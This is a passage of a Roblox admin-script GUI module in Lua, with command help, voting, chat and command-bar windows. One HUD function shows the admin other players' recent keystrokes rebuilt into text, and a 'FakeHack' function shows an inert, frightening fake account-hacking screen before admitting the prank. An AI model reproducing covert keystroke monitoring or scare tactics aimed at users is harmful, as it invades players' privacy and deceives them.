4558function GUI:ShowDebtStats(Player, ManualText)
4559 local Text = ManualText
4560 if not ManualText then
4561 Text = "CANNOT GET STATISTICS"
4562 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4563 if RawPage then
4564 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4565 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4566 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4567 end
4568 end
4569
4570 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4571 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4572
4573 return Text
4574end
4575
4576function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4577 if not Player then return nil end
4578 if not CommandTrigger then return nil end
4579
4580 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4581
4582 local CommandKey = CommandTrigger
4583
4584 if not Commands[CommandKey] then
4585 for CommandNames,_ in pairs(Commands) do
4586 for _,CommandName in pairs(CommandNames) do
4587 if CommandName == CommandKey then
4588 CommandKey = CommandNames
4589 end
4590 end
4591 end
4592 end
4593
4594 local CommandData = Commands[CommandKey]
4595
4596 local BodyText = "No valid command has been entered"
4597 local TitleText = "Error"
4598 local CanExe = false
4599 if CommandData then
4600 if Dialog then
4601 Dialog:Invoke(true)
4602 end
4603 local PlayerRank = RANK:GetRank(Player)
4604 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4605 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4606
4607 TitleText = "Command: "..CommandKey[1]
4608 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4609
4610
4611Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4612
4613
4614Description: ]]..CommandData[2]..[[
4615
4616
4617Arguments: ]]..CommandData[3]..[[
4618
4619
4620Minimum rank needed: ]]..CommandData[4]..[[
4621
4622
4623Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4624
4625
4626Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4627
4628
4629Http Command ]]..STRING:BoolString(CommandData.Http)
4630 end
4631
4632 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4633 if Dialog then
4634 Closed.Event:connect(function() Dialog:Invoke(false) end)
4635 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4636 end
4637end
4638
4639function GUI:CreateHUD(Speaker)
4640 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4641
4642 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4643 if SG then SG:Destroy() end
4644 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4645
4646 local function AddHUD(Player, Char)
4647 if not Char or not Char:FindFirstChild("Head") then return nil end
4648
4649 local Rank = RANK:GetRank(Player)
4650 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4651 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4652 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4653 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4654 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4655 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4656 InfoLabel.Text = "Name: "..Player.Name..[[
4657Rank: ]]..RANK:GetRank(Player)..[[
4658Age: ]]..STRING:FindAge(Player.AccountAge)
4659 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4660 InfoLabel.Text = InfoLabel.Text..[[
4661Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4662 end
4663 if LastKeys[Player.UserId] then
4664 local Keys = ""
4665 local KeyLog = {}
4666 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4667 table.insert(KeyLog, KeyData[1])
4668 if KeyData[2] == 8 then
4669 Keys = string.sub(Keys, 1, #Keys - 1)
4670 elseif KeyData[2] == 13 then
4671 Keys = Keys.." "
4672 else
4673 Keys = Keys..string.char(KeyData[2])
4674 end
4675 end
4676 KeyLabel.Text = table.concat(KeyLog, "\n")
4677 KeyOutput.Text = Keys
4678 end
4679 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4680 end end)()
4681
4682 local CharRev,Removing = nil,nil
4683 CharRev = Player.CharacterRemoving:connect(function()
4684 PlayerHUD:Destroy()
4685 CharRev:disconnect()
4686 Removing:disconnect()
4687 end)
4688 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4689 PlayerHUD:Destroy()
4690 CharRev:disconnect()
4691 Removing:disconnect()
4692 end end)
4693 end
4694
4695 local function ConnectHUD(Player)
4696 if Player ~= Speaker then
4697 if Player.Character then
4698 AddHUD(Player, Player.Character)
4699 end
4700
4701 Player.CharacterAdded:connect(function(Char)
4702 if Speaker then
4703 AddHUD(Player, Char)
4704 else return nil
4705 end
4706 end)
4707 end
4708 end
4709
4710 for _,Player in pairs(Server.Players:GetPlayers()) do
4711 ConnectHUD(Player)
4712 end
4713
4714 Server.Players.PlayerAdded:connect(ConnectHUD)
4715end
4716
4717function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4718 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4719 local Stopped = false
4720
4721 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4722 Frame.Size = UDim2.new(1, 0, 1, -30)
4723 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4724
4725 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4726 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4727 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4728
4729 local function AddLine(Speaker, MessageText, MessageColor)
4730 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4731 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4732 if not MessageColor then MessageColor = GUI:ContrastColor() end
4733 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4734 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4735 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4736 Bounds.Parent = Frame
4737 end
4738
4739 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4740
4741 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4742 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4743 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4744
4745 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4746 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4747
4748 CORE:ExecuteResource("MessagePromptHandler", Frame)
4749
4750 wait(0.1)
4751
4752 if PreAdd then
4753 for Num,Add in pairs(PreAdd) do
4754 AddLine(Add[1], Add[2], Add[3])
4755 end
4756 end
4757
4758 --[[
4759 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4760
4761 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4762 if ChatBox.Text == "Click here or press the '-' key" then
4763 ChatBox.Text = ""
4764 end
4765 end)
4766 ]]
4767
4768 local function FireSendPressed()
4769 local Text = CORE:ReadProperty(RPR, Player, "Text")
4770 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4771 SendPressed:Fire(Text)
4772 FakeCB.Visible = true
4773 ClearCB:InvokeClient(Player)
4774 end
4775 end
4776
4777 Closed.Event:connect(function()
4778 if Stopped == false then
4779 Stopped = true
4780 if SpeakerEvents then SpeakerEvents("Leave") end
4781 end
4782 end)
4783
4784 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4785 EnterPressed.OnServerInvoke = FireSendPressed
4786 AddMessage.OnInvoke = AddLine
4787
4788 if SpeakerEvents then
4789 SpeakerEvents("Join")
4790
4791 coroutine.wrap(function()
4792 repeat wait() until not Frame or not Frame.Parent
4793 if Stopped == false then
4794 Stopped = true
4795 SpeakerEvents("Leave")
4796 end
4797 end)()
4798 end
4799
4800 return SendPressed, AddMessage
4801end
4802
4803function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4804 if tonumber(Time) then ShowFormButtons = false end
4805 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4806 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4807 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4808 local Clicked = nil
4809 local Alive = true
4810
4811 local function ClosePrompt(ButtonName)
4812 Alive = false
4813 Close:Invoke()
4814 Clicked = ButtonName
4815 end
4816
4817 for Num,Select in pairs(Buttons) do
4818 local Name = Select
4819 local Style = "White"
4820 local TextColor3 = Color3.new(0,0,0)
4821 if type(Select) == "table" then
4822 Name = Select[1]
4823 if Select[2] then Style = Select[2] end
4824 if Select[3] then TextColor3 = Select[3] end
4825 elseif type(Select) == "string" then
4826 local Case = string.lower(Select)
4827 if Case == "ok" then
4828 Name = "Ok"
4829 Style = "Primary"
4830 TextColor3 = Color3.new(1,1,1)
4831 elseif Case == "yes" then
4832 Name = "Yes"
4833 Style = "Gray"
4834 TextColor3 = Color3.new(0,1,0)
4835 elseif Case == "no" then
4836 Name = "No"
4837 Style = "Red"
4838 TextColor3 = Color3.new(1,0,0)
4839 end
4840 end
4841
4842 if Style == "None" then Style = "Custom" end
4843 if Style == "Casual" then Style = "RobloxButton" end
4844 if Style == "Red" then Style = "RobloxButtonDefault" end
4845 if Style == "Gray" then Style = "RobloxRoundButton" end
4846 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4847 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4848
4849 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4850 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4851 SOUND:BindButton(Button)
4852 end
4853
4854 if tonumber(Time) then
4855 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4856 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4857 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4858
4859 for i = Time,0,-1 do
4860 for ii = 1,10 do
4861 if Alive == true then
4862 Ticker.Text = i
4863 wait(0.1)
4864 else
4865 break
4866 end
4867 end
4868 end
4869 if Alive == true then
4870 ClosePrompt()
4871 end
4872 end
4873
4874 repeat wait() until Alive == false
4875 return Clicked
4876end
4877
4878function GUI:Vote(Speaker, Players, Text, Time)
4879 if not Players or not Text or #Players <= 0 then return end
4880
4881 local Votes = {}
4882 local Tick = 0
4883
4884 for _,Player in pairs(Players) do
4885 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4886 local CanVote = true
4887 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4888 if CanVote == true then
4889 coroutine.wrap(function()
4890 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4891 if Answer == nil then Answer = "Unknown" end
4892 table.insert(Votes, Answer)
4893 end)()
4894 end
4895 end
4896 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4897 wait(2)
4898 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4899 local Total = #Players
4900 local Yes,No,Unknown = 0,0,0
4901 for _,Vote in pairs(Votes) do
4902 if Vote == "Yes" then Yes = Yes + 1
4903 elseif Vote == "No" then No = No + 1
4904 end
4905 end
4906 Unknown = #Players - #Votes
4907
4908 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4909 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4910 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4911]]..Yes.."/"..Total..[[
4912]]..math.ceil((Yes/Total)*100).."% "
4913 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4914]]..No.."/"..Total..[[
4915]]..math.ceil((No/Total)*100).."% "
4916 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4917]]..Unknown.."/"..Total..[[
4918]]..math.ceil((Unknown/Total)*100).."% "
4919 end
4920end
4921
4922--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4923
4924function GUI:LoadGui(Player, Text, InfoText)
4925 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4926 local Dead = false
4927
4928 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4929 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4930 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4931 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4932 if InfoText then Info.Text = InfoText end
4933
4934 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4935 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4936
4937 CloseGui.OnInvoke = function()
4938 Close:Invoke()
4939 Dead = true
4940 end
4941 AddInfo.OnInvoke = function(AddText)
4942 Info.Text = AddText
4943 end
4944
4945 coroutine.wrap(function()
4946 for i = 0,math.huge,3 do
4947 if Dead == false and Frame then
4948 WaitIcon.Rotation = i
4949 wait()
4950 else
4951 break
4952 end
4953 end
4954 end)()
4955
4956 coroutine.wrap(function()
4957 while Dead == false and Frame do
4958 wait(0.5)
4959 LoadLabel.Text = Text.."."
4960 wait(0.5)
4961 LoadLabel.Text = Text..".."
4962 wait(0.5)
4963 LoadLabel.Text = Text.."..."
4964 wait(0.5)
4965 LoadLabel.Text = Text..".."
4966 wait(0.5)
4967 LoadLabel.Text = Text.."."
4968 wait(0.5)
4969 LoadLabel.Text = Text
4970 end
4971 end)()
4972
4973 wait(1)
4974
4975 return CloseGui, AddInfo
4976end
4977
4978function GUI:FakeHack(Player) coroutine.wrap(function()
4979 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4980 local FakeText = [[
4981>SHELL: BEGIN
4982>RUNCODE:
4983return {
4984 local Hack = {"Account", "Tix", "Robux"};
4985 function Start(Type, Inject, Scan)
4986 if not Inject then Inject = "In-Game" end
4987 return {Type, Inject, Scan}
4988 end
4989 for Exe,Exploit in pairs(Hack) do
4990 local IP = Start("In-Game",Exploit,
4991 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4992 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4993 )
4994 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4995 for i = 1,#Injection[2] do
4996 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4997 end
4998 local PlayerProxy = newproxy(true)
4999 setmetatable(PlayerProxy,Injection[3],{
5000 __index = function(StealData, ...) local Data = unpack(...)
5001 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
5002 end;
5003 })
5004 end
5005 Log("HACKED HOST: PLAYERNAME")
5006}
5007>HACKED HOST: PLAYERNAME
5008
5009]]
5010 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5011 if SG then SG:Destroy() end
5012 SG = Instance.new("ScreenGui", Player.PlayerGui)
5013 SG.Name = "MML Hack Gui"
5014 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5015 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5016 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5017 for i = 1,#FakeText do
5018 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5019 if math.random(1,5) == 1 then
5020 wait()
5021 end
5022 end
5023 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5024 wait(3)
5025 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5026fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5027 X.Visible = true
5028end)() end
5029
5030function GUI:CommandBar(Player)
5031 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5032
5033 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5034 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5035 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5036 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5037
5038 local _,Rank = RANK:GetRank(Player)
5039 local UsableCommands = {}
5040 for CommandNames,Data in pairs(Commands) do
5041 if not Data.Hidden then
5042 if RANK:ConvertRank(Data[4]) <= Rank then
5043 for _,Command in pairs(CommandNames) do
5044 table.insert(UsableCommands, {Command, Data[3]})
5045 end
5046 end
5047 end
5048 end
5049
5050 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5051
5052 local function ExecuteText()
5053 local Text = CORE:ReadProperty(RPR, Player, "Text")
5054 CORE:Chatted(Text, Player, true)
5055 CommandBox.Text = "Enter a command here"
5056 end
5057
5058 local function AddSuggestion(Text)
5059 if Text == nil then Text = Settings.Prefix end
5060 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5061 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5062 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5063 if Text == Settings.Prefix then
5064 CommandBox.Text = Settings.Prefix
5065 else
5066 CommandBox.Text = Settings.Prefix..Text
5067 end
5068 CORE:ExecuteResource("Focus", CommandBox)
5069 end, true)
5070 end
5071
5072 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5073 if CommandBox.Text == "Enter a command here" then
5074 CommandBox.Text = ""
5075 end
5076 end)
5077
5078 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5079 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5080
5081 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5082 EnterPressed.OnServerInvoke = ExecuteText
5083
5084 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5085 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5086 Suggest:ClearAllChildren()
5087 local Text = CORE:ReadProperty(RPR, Player, "Text")
5088 if Text == "" then
5089 AddSuggestion(Settings.Prefix)
5090 end
5091
5092 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5093 Text = string.sub(Text,#Settings.Prefix+1)
5094 end
5095 for _,Data in pairs(UsableCommands) do
5096 local Command,Args = Data[1],Data[2]
5097 if string.find(string.lower(Command),string.lower(Text)) then
5098 local NewSuggestion = Command
5099 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5100 AddSuggestion(NewSuggestion)
5101 end
5102 end
5103
5104 end end)
5105end
5106
5107function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5108 if not Player or not AllSeconds then return nil end
5109 AllSeconds = tonumber(AllSeconds)
5110 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5111 AllSeconds = math.floor(AllSeconds)
5112 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5113 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5114 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
